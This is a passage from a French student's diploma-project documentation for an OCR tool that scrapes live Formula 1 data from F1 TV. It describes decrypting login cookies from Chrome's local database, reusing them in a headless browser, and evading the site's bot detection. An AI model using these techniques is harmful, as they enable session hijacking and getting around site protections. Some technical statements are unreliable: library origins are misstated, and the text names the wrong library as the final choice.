troisi\u00e8me temps, il faut stocker toutes ces donn\u00e9es dans une forme qui permette d'aller facilement faire des requ\u00eates de r\u00e9cup\u00e9ration et d\u00e9j\u00e0 pr\u00e9parer des m\u00e9thodes qui permettent de r\u00e9cup\u00e9rer des infos importantes (ex : la moyenne des cinq derniers tours, le temps moyen d'arr\u00eat etc.) pour faciliter la derni\u00e8re \u00e9tape Quand tout cela est fait, on peut ensuite s'amuser un peu avec les Data. La derni\u00e8re \u00e9tape est donc l'affichage. L'id\u00e9e est de cr\u00e9er une Windows Form qui contienne toutes ces informations dans un format beaucoup plus lisible et avec laquelle on pourrait interagir pour permettre de plus facilement commenter les Grands Prix. (exemple plus bas avec un croquis de ce \u00e0 quoi l'application pourrait ressembler) Voici la liste des donn\u00e9es qui pourraient \u00eatre affich\u00e9es (Non contractuel, simplement des id\u00e9es). Les pilotes qui sont proches (moins de 1-2 secondes qui sont donc en train de se battre). Les pilotes qui am\u00e9liorent leur temps au tour et ceux qui perdent le plus de temps Le classement pond\u00e9r\u00e9 tenant compte des futurs arr\u00eats au stand La moyenne de temps que les pilotes perdent dans les stands La performance moyenne des 5 types de pneus La moyenne de temps de chaque pilote sur le pneu actuel Le nombre de points que chaque pilote gagnerait selon sa position Le classement de la course Voire m\u00eame si c'est possible : Pr\u00e9dire les arr\u00eats aux stands en prenant en compte les baisses de performances des pneus Pr\u00e9dire le pneu que le pilote va chausser s'il rentre aux stands dans le prochain tour Pr\u00e9dire dans combien de tour tel pilote va rattraper tel autre pilote Pr\u00e9dire combien de temps le pilote va perdre dans les stands en fonctions des arr\u00eats pr\u00e9c\u00e9dents Pr\u00e9dire les temps au tour de chaque pilote selon l'usure des pneus Voici un exemple d'interface possible pour une page : \"Protype de l'app fait sur Figma\" Cas d'utilisation '*'On va consid\u00e9rer que tous les user ont un abonnement F1 TV PRO Un user veut r\u00e9cup\u00e9rer les data : Il ouvre son navigateur et lance la page DATA de la F1 TV Il calibre la capture des data via le programme (pour la premi\u00e8re utilisation). Il confirme que les donn\u00e9es initiales sont bonnes (pour la premi\u00e8re utilisation). Il regarde tranquille son Grand Prix Le programme r\u00e9cup\u00e8re les data : Il r\u00e9cup\u00e8re des images depuis la F1TV Il utilise Tesseract (ou autre) pour en r\u00e9cup\u00e9rer les infos. Il met ces infos dans un Objet Pilote, dans un Objet course avec un attribut tour pour hi\u00e9rarchiser les data Pour ce qui est de l'affichage, l'id\u00e9e est de faire une application C# comme on l'a appris \u00e0 l'\u00e9cole, mais avec assez de style pour qu'elle puisse \u00eatre agr\u00e9able \u00e0 utiliser. Quand le programme affiche les data : Il prend les donn\u00e9es venant directement de la F1TV. Il affiche diff\u00e9remment les donn\u00e9es pour permettre une meilleure lisibilit\u00e9 Il interpr\u00e8te avec des r\u00e8gles plut\u00f4t simples certaines data pour faire des minipr\u00e9dictions ou aider \u00e0 la lecture Il r\u00e9cup\u00e8re des infos d'autres courses pour les comparer et proposer des pr\u00e9dictions plus int\u00e9ressantes Difficult\u00e9s techniques R\u00e9cup\u00e9rer un flux vid\u00e9o plut\u00f4t propre malgr\u00e9 les contres mesures de la F1 TV pour en emp\u00eacher la lecture par un logiciel Si on doit passer par une capture d'\u00e9cran, trouver un moyen de stocker les donn\u00e9es de mani\u00e8re \u00e0 pr\u00e9voir que parfois un tour pourrait avoir plus de donn\u00e9es qu'un autre, que le user peut mettre pause, ou m\u00eame qu\u2019il revienne en arri\u00e8re. D\u00e9velopper des algorithmes pour r\u00e9cup\u00e9rer les donn\u00e9es comme les diff\u00e9rents pneus utilis\u00e9s ou l'activation du DRS ainsi que d\u00e9velopper des moyens de nettoyer les r\u00e9sultats de l'OCR (Par exemple utiliser diff\u00e9rents champs redondants pour comparer les r\u00e9sultats) Stocker les donn\u00e9es sur une base pour les traiter plus tard tout en pr\u00e9voyant un moyen de voir les stats live D\u00e9velopper des algorithmes de pr\u00e9diction qui prennent en compte d'anciennes courses pour tenter de pr\u00e9dire des choses comme les arr\u00eats aux stands par exemple. Diff\u00e9rences sur le cahier des charges [\u00c0 remplir dans les derni\u00e8res semaines du travail de dipl\u00f4me] Planning pr\u00e9visionnel Mes suiveurs m'ont demand\u00e9 un planning de type GANTT pour ce travail de dipl\u00f4me Je n'ai pas utilis\u00e9 un logiciel particulier pour faire ce dernier, mais je me suis inspir\u00e9 des principes fondamentaux d'un diagramme de ce type. Comme l'original a \u00e9t\u00e9 fait sur Excel, je ne peux pas vraiment l'ins\u00e9rer de mani\u00e8re lisible ici, mais il est disponible dans le dossier Planning. Mais voici un r\u00e9sum\u00e9 de son contenu : T\u00e2ches J'ai d\u00e9cid\u00e9 de d\u00e9composer mon planning en trois grands types de t\u00e2ches. Programmation Documentation Tests L'id\u00e9e est de permettre une meilleure lisibilit\u00e9 et de me permettre \u00e0 moi de me faire plus facilement \u00e0 l'id\u00e9e de ce qu'il m'attend. Voici la liste des t\u00e2ches par rubrique : PT Cette rubrique contient les t\u00e2ches qui n'ont pas leur place dans les trois cat\u00e9gories principales. PT1 / pr\u00e9paration au travail de dipl\u00f4me (2) Cette t\u00e2che est un peu hors cat\u00e9gorie, mais c'est normal, c'est une supert\u00e2che qui regroupe beaucoup de choses. C'est une t\u00e2che qui est planifi\u00e9e pour deux jours et qui normalement devrait \u00eatre faite les deux premiers jours du travail. Le but est de pr\u00e9parer tout ce qui peut \u00eatre pr\u00e9par\u00e9 en avance niveau documentation et mise en place pour ne pas avoir besoin de s'en soucier ensuite. DT Rubrique documentation qui contient toutes les t\u00e2ches en rapport de pr\u00e8s ou de loin avec la documentation du projet. DT1 Cr\u00e9ation du poster (1) Cette t\u00e2che consiste \u00e0 faire une version num\u00e9rique du poster qui soit en accord avec les consignes qu'on nous a donn\u00e9es. Le but est aussi et surtout de faire poster dont je sois fier et que je sois content de montrer. Il y a d\u00e9j\u00e0 des croquis de poster et j'ai clairement pr\u00e9vu de travailler sur \u00e7a pendant les vacances alors, je n'ai mis qu'un jour et je l'ai plac\u00e9 juste avant le rendu de ce dernier. DT2 Documentation Analyse de l'existant (2) Cette t\u00e2che est d\u00e9di\u00e9e \u00e0 l'\u00e9criture de la documentation et plus pr\u00e9cis\u00e9ment de l'analyse de l'existant. Comme il y a pas mal de technologies utilis\u00e9es dans mon projet, j'aimerais faire correctement un vrai debrief de pourquoi j'ai utilis\u00e9 l'une ou l'autre alors, j'ai assign\u00e9 deux jours dessus. DT3 Documentation Analyse organique (5) Cette t\u00e2che est la plus grosse dans la cat\u00e9gorie documentation. Il s'agit de documenter comment l'application fonctionne. J'y ai mis cinq jours et je pense que c'est un minimum car c'est dans cette t\u00e2che que je vais devoir d\u00e9tailler exactement comment fonctionne chaque partie du projet. Ces cinq jours sont \u00e9parpill\u00e9s sur le projet en g\u00e9n\u00e9ral \u00e0 la fin du d\u00e9veloppement de chaque grande partie de projet. Le but est de ne rien oublier et de ne pas avoir \u00e0 tout faire en m\u00eame temps. DT4 Documentation Analyse fonctionnelle (2) Cette t\u00e2che est d\u00e9j\u00e0 moins grosse, elle consiste \u00e0 documenter le fonctionnement de l'application et comment utiliser les composants que j'ai d\u00e9velopp\u00e9s. Je l'ai mis en fin de projet, car comme j'ai l'habitude de faire des analyses fonctionnelles plut\u00f4t pr\u00e9cises, le moindre changement dans l'UI peut tout rendre obsol\u00e8te. J'y ai mis deux jours, car j'aimerais correctement documenter avec de bonnes photos et sc\u00e9narios pour qu'on puisse voir toutes les possibilit\u00e9s de l'application. DT5 Documentation Tests (1) Cette t\u00e2che est un peu plus petite qu'elle ne le devrait. Elle concerne la documentation des diff\u00e9rents tests. Je n'y ai mis qu'un seul jour, car en r\u00e9alit\u00e9 les diff\u00e9rentes t\u00e2ches de tests contiennent aussi beaucoup de documentation, DT6 Documentation Reste (2) Cette t\u00e2che est une t\u00e2che un peu vague. Elle contient toutes les actions autres que j'aurai besoin de faire (Mise au propre, orthographe, g\u00e9n\u00e9ration de PDF ...). J'y ai mis deux jours pour avoir un peu de marge, car ce sont toujours des t\u00e2ches qui paraissent faciles, mais qui \u00e0 la fin prennent beaucoup de temps si on les fait bien. PT Rubrique programmation qui contient toutes les t\u00e2ches qui touchent \u00e0 la programmation et au d\u00e9veloppement de l'application. PT1 Programmation r\u00e9cup\u00e9ration des images (3) Cette t\u00e2che est estim\u00e9e \u00e0 seulement trois jours, il ne faut pas s'y m\u00e9prendre, c'est une des t\u00e2ches les plus dures et lourdes niveaux documentation en explications. Cependant, un POC (Proof Of Concept) assez avanc\u00e9 a d\u00e9j\u00e0 \u00e9t\u00e9 fait et donc cela permet de n'envisager que trois jours, car il suffit de l'impl\u00e9menter et de la paufinner. Cette t\u00e2che consiste \u00e0 prendre en entr\u00e9e un lien de Grand Prix et de sortir une image tous les x secondes de la page DATA. Cela peut sembler simple, mais pour le faire sans prendre d'espace d'\u00e9cran et ne demandant pas \u00e0 l'utilisateur de copier-coller quoi que ce soit o\u00f9 de donner ses identifiants F1TV c'est un challenge. Cela peut paraitre curieux alors de mettre cette t\u00e2che loin dans le planning m\u00eame si c'est la premi\u00e8re \u00e9tape du projet. Encore une fois cela s'explique avec le fait qu'il y a d\u00e9j\u00e0 un POC qui fonctionne \u00e0 peu pr\u00e8s et que donc pr\u00e9f\u00e8re commencer avec des t\u00e2ches plus incertaines dans le cas o\u00f9 elles prendraient plus de temps que pr\u00e9vu. PT2 Programmation OCR (5) Cette t\u00e2che consiste \u00e0 d\u00e9velopper la partie qui reconnait le texte sur les images. C'est tr\u00e8s certainement la t\u00e2che qui risque le plus de d\u00e9border car c'est celle qui est la plus complexe techniquement puisqu'elle demande non seulement la lecture sur image, mais aussi le d\u00e9veloppement d'algorithmes de traitement de cette donn\u00e9e pour \u00eatre s\u00fbr qu'elle a bien \u00e9t\u00e9 lue. J'y ai ainsi allou\u00e9 cinq jours, mais j'esp\u00e8re que j'arriverai \u00e0 gagner du temps sur les autres pour y allouer plus dans le planning effectif, car je suis convaincu que plus, on y passe du temps, meilleur sera le r\u00e9sultat. PT3 Programmation, stockage et mod\u00e8le (5) Cette partie est moins technique, mais concerne le stockage des donn\u00e9es que nous retourne la lecture des images. Mais elle va demander de la r\u00e9flexion et de l'intelligence de programmation, car il faut que cette partie anticipe les besoins de la vue et pr\u00e9pare un terrain fertile qui ne demande pas un refactor quand on passera au d\u00e9veloppement de la vue. C'est pour cela que je lui ai aussi assign\u00e9 cinq jours de travail et elle doit absolument \u00eatre commenc\u00e9e apr\u00e8s la lecture. PT4 Programmation Vue de l'APP (5) Cette partie peut \u00eatre horrible comme tr\u00e8s facile, cela d\u00e9pend compl\u00e8tement de la qualit\u00e9 du travail avant. Si le mod\u00e8le est parfait et que les donn\u00e9es sont int\u00e8gres, cela devrait \u00eatre plut\u00f4t simple de les afficher de mani\u00e8re int\u00e9ressante. Cependant, cette partie d\u00e9bordera s\u00fbrement un peu, car tout le temps gagn\u00e9 avec de bonnes donn\u00e9es sera utilis\u00e9 pour tenter de faire de la pr\u00e9diction. Pour ces raisons, je lui ai assign\u00e9 \u00e9galement cinq jours de travail et elle doit absolument \u00eatre faite apr\u00e8s le mod\u00e8le. PT5 Programmation mise en commun (3) Cette t\u00e2che est aussi un petit peu sp\u00e9ciale, car elle regroupe plusieurs choses. En gros, chaque partie de programmation sera s\u00fbrement assez ind\u00e9pendante et il faudra \u00e0 un moment faire un seul projet C# qui contient tout. Il est difficile d'estimer \u00e0 quel point cela va \u00eatre compliqu\u00e9 alors, j'ai \u00e9t\u00e9 conservateur et j'ai mis trois jours. TT Cette rubrique contient les t\u00e2ches qui sont uniquement des tests. La plupart des t\u00e2ches de programmations contiennent d\u00e9j\u00e0 des tests, mais certaines demandent une attention particuli\u00e8re. TT1 Tests OCR (2) Cette t\u00e2che est une des t\u00e2ches les plus importantes. Son but est de faire un protocole de tests complet qui permette de comparer les diff\u00e9rents algorithmes de reconnaissance de texte. Je l'ai mise apr\u00e8s la reconnaissance, mais m\u00eame maintenant en \u00e9crivant ces lignes, je me dis que dans le planning effectif, elle sera faite pendant la t\u00e2che de programmation. En effet, comment savoir si mon tout nouvel algorithme est r\u00e9ellement mieux que le pr\u00e9c\u00e9dent. Je pr\u00e9vois deux jours, car je pense que faire le dataset va prendre beaucoup de temps, il faut pr\u00e9voir un certain nombre d'images et de texte qui pourront ensuite \u00eatre donn\u00e9es sous forme de tests. C'est certes une t\u00e2che de test, mais c'est aussi de la programmation. TT2 Tests finaux (2) Cette t\u00e2che de tests est un peu vague, elle regroupe les diff\u00e9rents tests pour v\u00e9rifier que les donn\u00e9es sont bien affich\u00e9es correctement. Ce qui serait cool si j'ai du temps en fin de travail de dipl\u00f4me serait de faire un syst\u00e8me de test qui permet d'entrainer le programme \u00e0 mieux reconnaitre certaines choses comme des arr\u00eats aux stands si on lui donne les trois derni\u00e8res ann\u00e9es de grands Prix. J'ai mis une dur\u00e9e arbitraire de deux jours, mais je ne sais pas vraiment combien de temps cela va vraiment durer. Elle est \u00e9videmment \u00e0 effectuer une fois que tout est \u00e0 peu pr\u00e8s termin\u00e9. Planning effectif et diff\u00e9rences [A remplir dans les derni\u00e8res semaines du travail de dipl\u00f4me] Analyse fonctionnelle [A remplir au fur et \u00e0 mesure dans la seconde moiti\u00e9 du travail de dipl\u00f4me] Analyse Organique Outils utilis\u00e9s [A Remplir] Technologies utilis\u00e9es Dans ce projet diff\u00e9rents choix ont \u00e9t\u00e9 faits pour ce qui est des technologies. Certaines ont \u00e9t\u00e9 choisies car elles \u00e9taient les plus simples, les plus pratiques, les plus efficaces ou encore les plus connues et donc ayant le meilleur support. Je vais tenter de r\u00e9sumer ici ces choix mais je reviendrai sur la plupart d'entre eux plus tard quand j'explique ce que je fais avec. Selenium \"Logo de selenium\" Selenium est une librairie \u00e0 la base Node JS qui permet d'automatiser des actions sur un navigateur internet. Le but premier et je pense son utilisation premi\u00e8re est l'automatisation de tests pour des applications WEB. En effet c'est un super outil pour simuler un user faisant un certain nombre d'actions sans apporter de variabilit\u00e9 ce qui fait de supers test unitaires. Cependant je pense que l'autre grande partie des utilisateurs de Selenium l'utilisent pour faire du \"Scrapping\". Et nous sommes un peu dans cette seconde cat\u00e9gorie. Le \"Scrapping\" c'est l'acte d'aller r\u00e9cup\u00e8rer des informations sur des pages web automatiquement pour alimenter sa propre base de donn\u00e9es. En effet, si on arrive \u00e0 passer les protections anti-bot on peut facilemnt utiliser Selenium pour scraper tous les sites qui nous passent par la t\u00eate. Le cahier des charges que j'avais en t\u00eate en cherchant une technologie de contr\u00f4le de navigateur internet \u00e9tait le suivant : Simple Permettant de contr\u00f4ler un navigateur Headless (Voir chapitre \"Simuler un navigateur ?\") Permettant de contr\u00f4ler firefox Ayant un wrapper C# Permettre de changer certaines choses comme les cookies en Live Permettre d'interagir avec les \u00e9l\u00e9ments d'une page Fonctionner Simple car je ne voulais pas avoir \u00e0 passer trop de temps dessus (ca n'a pas bien vieillit lol...). Je voulais que l'on puisse utiliser Firefox car il n'impl\u00e9mente pas les m\u00eames s\u00e9curit\u00e9es que Chrome pour faire simple. J'avais besoin que la lib puisse contr\u00f4ler un Firefox HEADLESS car je ne voulais pas avoir une page web ouvert sur mon ordi quand je commente car c'est de l'espace utilis\u00e9 pour rien. J'avais besoin d'un wrapper C# car c'est le language que j'utilise. Pour finir j'avais besoin d'interragir avec les \u00e9l\u00e9ments de la page pour naviguer dessus et d'ins\u00e8rer des cookies pour me connecter sans avoir \u00e0 passer par le login de la F1TV qui est tr\u00e8s bon pour detecter les bots. Avec un cahier des charges parreil beaucoup de librairies ont \u00e9t\u00e9 abandonn\u00e9es. J'ai pu tester pleins de librairies C# qui arrivaient \u00e0 contr\u00f4ler un Chrome et m\u00eame pas mal qui arrivaient \u00e0 contr\u00f4ler un Chrome Headless. Mais le choix est tr\u00e8s vite restreind quand on veut pouvoir contr\u00f4ler Chrome OU Firefox. A la base mon choix c'\u00e9tait port\u00e9 sur Puppeteer Sharp qui est une librairie qui se veut \u00eatre exactement ce que je veux. \"Logo de Pupeteer\" Je voulais utiliser cette librairie car il y a des plugins qui sont tr\u00e8s orient\u00e9s scrapping, en effet, ils impl\u00e9mentent de nombreuses techniques pour permettre de mieux passer innapercu par les syst\u00e8mes de detection de bots. Sur le papier c'est la librairie parfaite qui correspond parfaitement au cahier des charges que je m'\u00e9tais fix\u00e9 et je pense que si j'utilisais un projet JS elle le serait. Sauf que avec le wrapper C# j'ai eu un certain nombre de probl\u00e8mes: Toutes les versions de la librairie ne fonctionnaient pas. Il fallait faire des tests avec diff\u00e9rentes versions de la librairie et de ses d\u00e9pendences simplement pour faire d\u00e9marrer un browser. Et ca c'est quand ca marchait car il y avait des jours ou des machines ou je n'ai simplement pas pu faire fonctionner la librairie. M\u00eame avec les techniques propos\u00e9es par les plugins \"Stealth\" je n'arrivais pas \u00e0 bypass les s\u00e9curit\u00e9es de la page de login de la F1TV. J'ai essay\u00e9 tout ce que j'ai pu trouver sur internet mais on se fait toujours chopper d\u00e8s que l'on arrive sur la page. Et le pire de tout, impossible de faire fonctionner un vid\u00e9o. J'ai pu faire tout ce que je voulais faire au final en passant par l'utillisation de cookies pour la connexion. Tout ca pour arriver au moment ou il faut lancer la vid\u00e9o, et la, crash. Impossible de faire fonctionner Puppeteer Sharp avec une vid\u00e9o. D\u00e8s qu'elle se lance c'est un crash assur\u00e9 sans message d'erreur clair. Et le soucis c'est que le wrapper C# n'est pas vraiment bien support\u00e9 et que si c'est un bug de la lib je ne risque pas de voir de fix avant un moment si ce n'est jamais. Pour toutes ces raisons, j'ai du abandonner cette librairie ce qui a \u00e9t\u00e9 tr\u00e8s dur car j'avais pass\u00e9 beaucoup de temps dessus \u00e0 essayer de la faire marcher. Ensuite le choix de Selenium \u00e9tait plut\u00f4t simple, c'\u00e9tait la seule option restante. A ce jour je ne connait aucune autre librairie que Puppeteer ou Selenium qui puisse contr\u00f4ler un Firefox Headless en respectant mon cahier des charges et qui soit donc disponible depuis C#. Si je n'arrivais pas \u00e0 faire fonctionner Selenium j'aurai du abandonner l'id\u00e9e de simuler un navigateur tout simplement. Mais j'ai eu la chance que cette librairie fasse tout ce que je pouvais demander. C'est une super lib et m\u00eame si la version C# n'est vraiment pas bien document\u00e9e, la plupart des documentations de la version JS sont pertinentes pour al version C# m\u00eame si ca n'est pas la m\u00eame syntaxe. Pour r\u00e9sumer, j'ai choisis Puppeteer car c'\u00e9tait la seule option viable pour mon besoin. (Note : Par contre si je trouve la personne chez mozilla ou puppeteer qui a d\u00e9cid\u00e9 d'hardcoder la r\u00e9solution maximale du browser Headless que l'on peut override UNIQUEMENT en changeant les variables d'environnement de la machine ET DE NE LE DOCUMENTER QUASI NULLE PART JE JURE QUE CA VA TRES MAL SE PASSER) CSharp \"Logo C#\" Je pense que c'est le choix le plus simple \u00e0 expliquer. C# est un language de programmation orient\u00e9 objet relativement haut niveau qui a \u00e9t\u00e9 cr\u00e9\u00e9 par Microsoft et qui a comme cible le developpement d'applications pour Windows. (On peut evidemment trouver des adaptations pour le faire tourner sur Linux mais ce n'est pas vraiment le but du language) En plus d'\u00eatre un superbe language de programmation, c'est le language que l'on apprend au CFPT informatique. C'est donc un language avec lequel je suis beaucoup plus \u00e0 l'aise que pour d'autres languages comme le Python ou le JS. Mon but n'\u00e9tait pas de faire une application Web et je travaille sous Windows. Je savais que mon projet allait demander un minimum de programmation orient\u00e9e objet. J'ai donc imm\u00e9diattement pens\u00e9 \u00e0 utliser C#. Cependant j'aurais tr\u00e8s bien pu utiliser un language comme python qui m'aurait clairement facilit\u00e9 la t\u00e2che avec des librairies bien plus fournies et plus souvent mises \u00e0 jour. Mais comme je ne suis pas du tout aussi \u00e0 l'aise avec je pense que le C# \u00e9tait la meilleure option. Mes seuls regrets apr\u00e8s coup sont que je trouve les Windows Forms tr\u00e8s moches et qu'il est particuli\u00e8rement difficile de les rendres plus jolies et que les librairies disponibles en C# pour des sc\u00e9narios tr\u00e8s pr\u00e9cis ne sont pas au niveau de celles pour JS et pour Python. Cependant si j'avais \u00e0 refaire le projet je reprendrais C# je pense. Python? \"Logo Python\" Alors ce choix la est plus commpliqu\u00e9 \u00e0 comprendre. Pour tout le projet j'ai tent\u00e9 de garder le C# comme language et de ne pas utiliser autre chose. Cependant j'ai du utiliser une seule fois le Python dans un cas tr\u00e8s pr\u00e9cis. Je n'aime vraiment pas coder en python de base et clairement j'aurais pr\u00e9f\u00e8r\u00e9 ne pas l'utiliser mais je n'avais pas le choix. Le besoin dans le cas du python \u00e9tait le suivant : J'avais besoin d'un moyen de r\u00e9cup\u00e8rer des strings et les d\u00e9coder avec une cl\u00e9 encod\u00e9e avec le syst\u00e8me propri\u00e9taire de windows d'encodage. Le soucis que j'avais avec le C# c'est que les methodes de decryption ne fonctionnent pas pareil que en python et tous les exemples que je pouvais trouver \u00e9taient en python. J'ai essay\u00e9 pendant un sacr\u00e9 moment de faire fonctionner la decryption en C# mais sans succ\u00e8s. J'ai donc directement utilis\u00e9 le python comme faisait toutes les personnes que je pouvais voir sur internet et je pense que ca n'est pas une mauvaise id\u00e9e. En effet, cela veut dire que si \u00e0 un moment Chrome est mis \u00e0 jour, je n'aurai pas besoin d'aller ouvrir tout le code source de mon projet pour tout recompiler, j'aurai simplement besoin de changer ce script. Un des avantages du Python est quand m\u00eame qu'il y beaucoup plus de gens qui codent dessus, et pour ce genre d'utilisation tr\u00e8s sp\u00e9cifiques c'est plut\u00f4t pratique. Le seul probl\u00e8me c'est que cela oblige l'utilisateur \u00e0 avoir python install\u00e9 sur sa machine et que sa version doit \u00eatre compatible... (les joies de python) Firefox \"Logo Firefox Headless\" J'en parle deja plus bas, mais le choix de navigateur est super important. Deja tous les navigateurs n'ont pas un mode Headless(sans t\u00eate, mieux expliqu\u00e9 dans la rubrique \"Simuler un naviguateur ?\"). Par exemple, m\u00eame si Edge est maintenant bas\u00e9 sur chromium, il n'existe pas de moyen de le faire tourner en Headless pour le moment. Autre soucis, les librairies d'automatisation ne supportent pas tous les navigateurs. Par exemple, beaucoup supportent chrome mais tr\u00e8s peu supportent Firefox ou Edge. Donc il me fallait un navigateur qui puisse op\u00e8rer en Headless et qui soit support\u00e9 par plusieurs librairies d'automatisation. Il n'y a que Firefox et Chrome qui sont conforme \u00e0 ces exigeances (Je n'ai pas verifi\u00e9 pour TOUS les navigateurs. Peut-\u00eatre que les Opera GX ont aussi un mode headless super, mais je me suis concentr\u00e9 sur les navigateurs plus grand public). Chrome est support\u00e9 par plus de lib, mais le soucis c'est que la F1TV utilise un lecteur de vid\u00e9o avec DRM (Plus d'infos la dessus dans la partie \"Simuler un navigateur?\") et donc le choix \u00e9tait simple. Il ne restait que Firefox. Tesseract Je pense que le choix le plus simple apr\u00e8s le C# fut l'utilisation de Tesseract. C'est tout simplement l'outil le plus utilis\u00e9 pour faire de l'OCR. A la base c'est une lib Python (Ah tiens encore ?) qui peut \u00eatre redoutablement efficace avec le bon dataset. Il existe d'autres outils mais j'ai d\u00e9cid\u00e9 de prendre celui la \u00e0 cause de son support juste incroyable et de son omnipr\u00e9sence dans la documentation OCR. En plus il est facile \u00e0 utiliser et je ne pense pas encore avoir fait le tour de tout son potentiel dans ce projet. Fonctionnement g\u00e9n\u00e9ral Avant de passer \u00e0 l'explication de chaques parties du projet en d\u00e9tail, je pense qu'il est important de faire un petit point sur comment toutes les parties du projet s'emboitent et fonctionnement ensemble. Comme ca quand vous lirez l'explication d'une \u00e9tape vous serez conscient de \u00e0 quoi elle sert et ou elle s'\u00eenscrit dans le projet principal. Les briques principales Voici trois grosses \u00e9tapes du projet. Pour rappel ce sont des vulgarisations plut\u00f4t larges qui n'ont qu'un seul but, aider \u00e0 la compr\u00e9hension de ce qui vient par la suite. Recup\u00e9ration d'images \"Diagramme simplifi\u00e9 repr\u00e9sentant le processus de r\u00e9cup\u00e8ration des images\" Pour faire simple on peut voir qu'il y a deux parties \u00e0 cette \u00e9tape. La premi\u00e8re en partant du haut repr\u00e9sente un script python qui va chercher des informations dans la base de donn\u00e9es de Chrome qui est en SQLITE. Ces informations dans notre cas sont les cookies de connexion. Dans la seconde \u00e9tape, on peut voir que le programme utilise Selenium avec un navigateur Firefox Headless qui va aller communiquer avec la F1TV qui est le site web qui nous int\u00e9resse et que une des infos que l'on r\u00e9cup\u00e8re est une image de la page en format PNG que l'on envoie au programme C#. Ces deux partie sont li\u00e9es car pour se connecter \u00e0 la F1TV Selenium a besoin des cookies de connexion r\u00e9cup\u00e8r\u00e9s par le programme Python. La premi\u00e8re partie est un processus qui n'est utilis\u00e9 qu'une seule fois au d\u00e9marrage tandis que la r\u00e9cup\u00e9ration d'images et en continu pendant toute la dur\u00e9e de l'utilisation de l'application. OCR \"Diagramme simplifi\u00e9 repr\u00e9sentant le processur d'OCR\" ; On peut voir dans ce diagramme simplifi\u00e9 qu'avec l'aide de ce que contient le fichier \"Config.JSON\" on d\u00e9coupe l'image que l'on a r\u00e9cup\u00e8r\u00e9 au pr\u00e9alable en petits morceaux qui continennent des informations. Ensuite on prend cette image et on lui applique un filtre pour retirer le flou la couleur etc... Puis en utilisant de l'OCR (Optical Character Recognition) on en r\u00e9cup\u00e8re les informations sous forme de texte et on le renvoie dans le programme C# Dans cette partie explicative g\u00e9n\u00e9rale, on ne reviendra pas sur la cr\u00e9ation de ce fichier config. Pour plus d'infos \u00e0 son sujet voir la rubrique (OCR/Fonctionnement g\u00e9n\u00e9ral) Traitement et affichage \"Diagramme simplifi\u00e9 repr\u00e9sentant le processus de traitement et d'affichage\" On peut voir dans ce dernier mini diagramme simplifi\u00e9 que on prend les donn\u00e9es que l'on r\u00e9cup\u00e8r\u00e9 de l'\u00e9tape pr\u00e9c\u00e9dente qui ne sont pas forc\u00e9ment toutes coh\u00e9rentes et qu'on les traite pour leur redonner du sens avant de les stocker dans une base de donn\u00e9es SQLITE. Ensuite cette m\u00eame base de donn\u00e9e fournis les infos nescessaires pour des affichages (Ces affichages sont directements r\u00e9cup\u00e8r\u00e9s depuis le projet en cours de fonctionnement) R\u00e9sum\u00e9 du fonctionnement g\u00e9n\u00e9ral \"Diagramme simplif\u00e9 repr\u00e9sentant le processus g\u00e9n\u00e9ral du projet\" Ce dernier diagramme est un sch\u00e9ma fait pour repr\u00e9senter de la mani\u00e8re la plus simple possible toutes les briques du projet et comment elles s'imbriquent ensemble. La repr\u00e9sentation est un peu diff\u00e9rentes des 3 autre diagramme car le but ici est surtout de montrer le chemin que fait la donn\u00e9e \u00e0 travers les couches Toutes les parties du projet ne sont pas incluses, notamment la partie calibration dans un objectif de simplifier la lecture. Dans l'ordre, on peut voir que pour la partie r\u00e9cup\u00e8ration d'images, le python va r\u00e9cup\u00e8rer les cookies dans la base de donn\u00e9es chrome pour ensuite les retourner \u00e0 Selenium. Selenium va ensuite pouvoir lancer un navigateur (en l'occurence Firefox) et utiliser les cookies r\u00e9cup\u00e8r\u00e9s pour aller sur la page de la F1TV qui va retourner un certain nombre d'infos \u00e0 Selenium. L'info qui nous int\u00e9resse le plus depuis Selenium c'est les images de la page data de la F1Tv et c'est elles que l'on va envoyer dans la partie LOAD du diagramme. Dans cette partie on prend l'image de la F1TV et on la decoupe selon les directives donn\u00e9es par le fichier Config.JSON (il renseigne les zones \u00e0 d\u00e9couper et ce qu'elles repr\u00e9sentent) et apr\u00e8s le d\u00e9coupage on se retrouve avec une zone principale, vingt zones de pilotes et 9 fen\u00eatres de donn\u00e9es par zone de pilote donc 180 fen\u00eatres en tout. Ces fen\u00eatres sont ensuite envoy\u00e9es pour \u00eatre filtr\u00e9es (retirer le flou, mettre en \u00e9vidence les caract\u00e8res, en gros les pr\u00e9parer pour la reconnaissance) dans la partie OCR Dans cette partie, apr\u00e8s avoir filtr\u00e9 les images, on les envoie \u00e0 Tesseract pour qu'il nous retourne des r\u00e9sultats d'OCR. Ces r\u00e9sultats sont ce que Tesseract a trouv\u00e9 sur les image et ils sont retourn\u00e9s sous al forme de Data Pilote. Ex (Position: 1,Tour : 45, Temps au tour : 1:34.683, Pneus: Medium etc....) Finalement ces donn\u00e9es ont envoy\u00e9es dans la partie traitement qui va faire des v\u00e9rifications d'usage pour s'assurer qu'elles sont correctes et quand c'est fait, tout est envoy\u00e9 dans une base de donn\u00e9es SQLITE. On ne montre pas non plus dans ce diagramme la parte affichage des donn\u00e9es car je ne trouve pas pertinent de l'inclure ici. Et voila c'est le fonctionnement tr\u00e8s g\u00e9n\u00e9ral et simplifi\u00e9 de l'application. Je vous invite \u00e0 continuer \u00e0 lire cette documentation pour des informations plus pr\u00e9cises \u00e0 propos de toutes ces \u00e9tapes. Bonne lecture ! R\u00e9cup\u00e9ration des images Voici la premi\u00e8re grande \u00e9tape du projet. Pour rappel, Amazon h\u00e9berge directement le site de la F1TV et poss\u00e8de les droits sur les donn\u00e9es de la F1. C'est sous le nom de AWS (le service d'h\u00e9bergement d'Amazon) que la firme apparait en tant que sponsor. On peut voir ce nom appara\u00eetre assez souvent quand on regarde un Grand Prix car comme ils ont la main-mise sur les donn\u00e9es ils peuvent ins\u00e8rer des bandeaux d'informations sur le flux public sur ce qu'il se passe voir m\u00eame faire des pr\u00e9dictions (Bien qu'un peu bancales) \"Exemple insertion AWS en GP\" Ce service s'appelle F1 Insights (Oui c'est un meilleur nom de projet que F1 Companion mais bon) et c'est, je pense, la raison pour laquelle on ne voit aucune API publique qui permette de correctement se renseigner en don\u00e9es en direct pendant un Grand Prix. Ils ont du d\u00e9gotter un juteux contrat pour s'occuper de toute l'infrastructure digitale de la F1 (du moins publique) en \u00e9change d'une exclusivit\u00e9 totale sur certaines choses comme les Data \"Exemple data d'AWS\" Evidemment je ne fais que conjecturer et ce que j'ai dit n'est pas \u00e0 prendre au pied de la lettre mais c'est une explication possible je pense 